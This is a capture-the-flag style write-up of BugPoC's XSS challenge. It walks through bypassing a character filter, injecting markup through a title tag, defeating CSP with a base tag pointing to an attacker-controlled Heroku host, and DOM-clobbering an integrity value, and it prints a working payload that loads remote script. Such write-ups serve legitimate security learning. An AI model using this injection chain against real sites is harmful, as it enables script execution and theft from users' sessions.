In-depth write-up of BugPoC’s XSS Challenge
Directly accessing frame.html to bypass the removal of dangerous characters and setting the window.name property to “iframe” so as to not get the error of “not loading the page in an iframe”. Injecting closing </title> tag to inject HTML into the body and injecting <base href=”our_domain”> to bypass CSP and load our own malicious script and clobbering fileIntegrity.value to fail the parser to load our malicous script to execute arbitary JS(alert() to solve the challenge)
Sa~a, hajimeyou(Let’s Begin)
On visiting the challenge’s page at https://wacky.buggywebsite.com/, there is a text box where we can input some text and then the text gets converted to wacky text upon submitting the value. The textbox accepts every character except these &*<>%. The interaction can be seen below.
Looking at the source code for this page, there are two interesting piece of code. The iframe and the script tag.
Syntax: Code between <! — here — > are the code highlighted and to be understood in the snippets
So whatever we enter in the textbox in the landing page goes straight to the iframe’s source parameter meaning “/frame.html?url=our_input_text_here”. And since the dangerous characters gets removed in that text box, the first step is to bypass the removal of dangerous characters &*<>% which was implemented in the “script.js” file as follows:
We can bypass this by just visiting frame.html directly which basically removes a layer of security for us. From now on the challenge is going to be divided into four steps. Each with a purpose.
1. Not in a frame?
On visiting the frame.html page, the page says the page can only be viewed from an iframe.
So if the window object’s name property is “iframe” then the code inside if statement runs otherwise the error is shown. So there are couple of ways to make this happen but for now for further solving the challenge we can just set the window.name property via web console directly. We’ll come back later again
So as you can see the frame.html page is loaded and there is no error. And whatever we pass as the value of “param” parameter gets reflected on to the page in some fancy way.
2. Injecting stuff onto the page
So after the environment is properly ready for further solving. Passing anything in ?param=our_input gets reflected inside the <title></title> tag as shown in the picture below
So we can simply close the title tag and inject anything onto the body of html file as below
Now at this point i just tried some basic XSS payloads like <svg/onload=alert()> but found out CSP headers were used for protection.
3. Understanding and Bypassing the CSP
date: Sun, 08 Nov 2020 14:48:05 GMT
content-security-policy: script-src 'nonce-aofcyyfctbga' 'strict-dynamic'; frame-src 'self'; object-src 'none';
last-modified: Wed, 28 Oct 2020 15:07:02 GMT
script-src ‘nonce-random_string’ ‘strict-dynamic’ is what we have to focus on right now.
‘strict-dynamic’ from mdn
strict-dynamicsource expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script. At the same time, any allow-list or source expressions such as
Basically a scirpt tag in a page with nonce/hash can load other script tags without explicitly needing to set the nonce/hash for loaded script. Let’s look at the code where we can abuse this.
3. <base> for the rescue
Base tag defines the base URL for relative URLs meaning if we do something like below, the “x.html” resource gets loaded like //evilsite.com/x.html
<base href=//evlisite.com><a href=’x.html’>Clickme</a>
So we can set base tag’s href attribute to the domain we own and then the script gets loaded from that domain
As you can see the resource frame-analytics.js is being loaded from “evilsite.com”. After that i set up a simple node app in heroku https://pure-escarpment-77969.herokuapp.com/files/analytics/js/frame-analytics.js and tried to see if any type of alert occurs
but instead another error occured
The script tag had “integrity” attribute which implements sub resource integrity check which basically checks for the tampering of the loaded resource and the resource that was supposed to be loaded. A resource to be loaded has a specific digest(hash) which if not matched with <script integrity=’sha56-digest’ src=”…”></script> then the resource is not loaded. As you can see the attribute getting set in the following code in line number 25.
Since the integrity should have particular digest and we are loading different resource from our own site, the digest do not match and hence the resource is not loaded. So somehow we need to feed the correct digest to fileIntegrity.value to correctly load the resource and gain XSS. But do we really need to ;) ?
4. DOM Clobbering :D
So i started looking at fileIntegrity variable and by the way it was coded, it could be clobbered. You can see from the below picture.
Setting the id attribute of anchor tag and we can access it as a variable. So we successfully clobbered the fileIntegrity variable. So we need to somehow clobber fileIntegrity.value which can be done using the following code
For more about DOM Clobbering you can read terjanq’s amazing article here: https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94
As you can also see the error occured due to the fileIntegrity.value which had to be a digest and properly bas64 encoded value, not being of proper format. This causes the parser fail and fall-back and load the resource without proper checks. And our malicious script gets injected on to the page.
The payload now looks like this:
?param=</title><base href='https://pure-escarpment-77969.herokuapp.com/'></head><body><a id='fileIntegrity'></a><a id='fileIntegrity' name=value href='sss'></a>
We need to supply some value to href attribute which upon parsing fails as it is not a valid base64 encoded value and the subresource we are trying to load gets loaded from our domain which has “top.alert()”(top.alert() because the script was loaded inside a sandbox) which calls the alert function in top frame and we can see a popup.
Challenge isn’t exactly solved yet if you remember we manually set the window.name property to “iframe”. So there are couple of ways of doing this but the one I chose is shown below in the code. Since window.name persists even when different site is loaded in the same tab.We can load a page which sets the window.name to “iframe” and then load the challenge site’s “frame.html?param=payload” to complete the challenge
The final payload looks like:
You can see this at:
And hence, the challenge is solved :).
Btw, you can use https://bugpoc.com/testers/other/mock to create a server response rather than setting up your own infastructure which might be a pain.
Thank your for your time. Have a nice day :).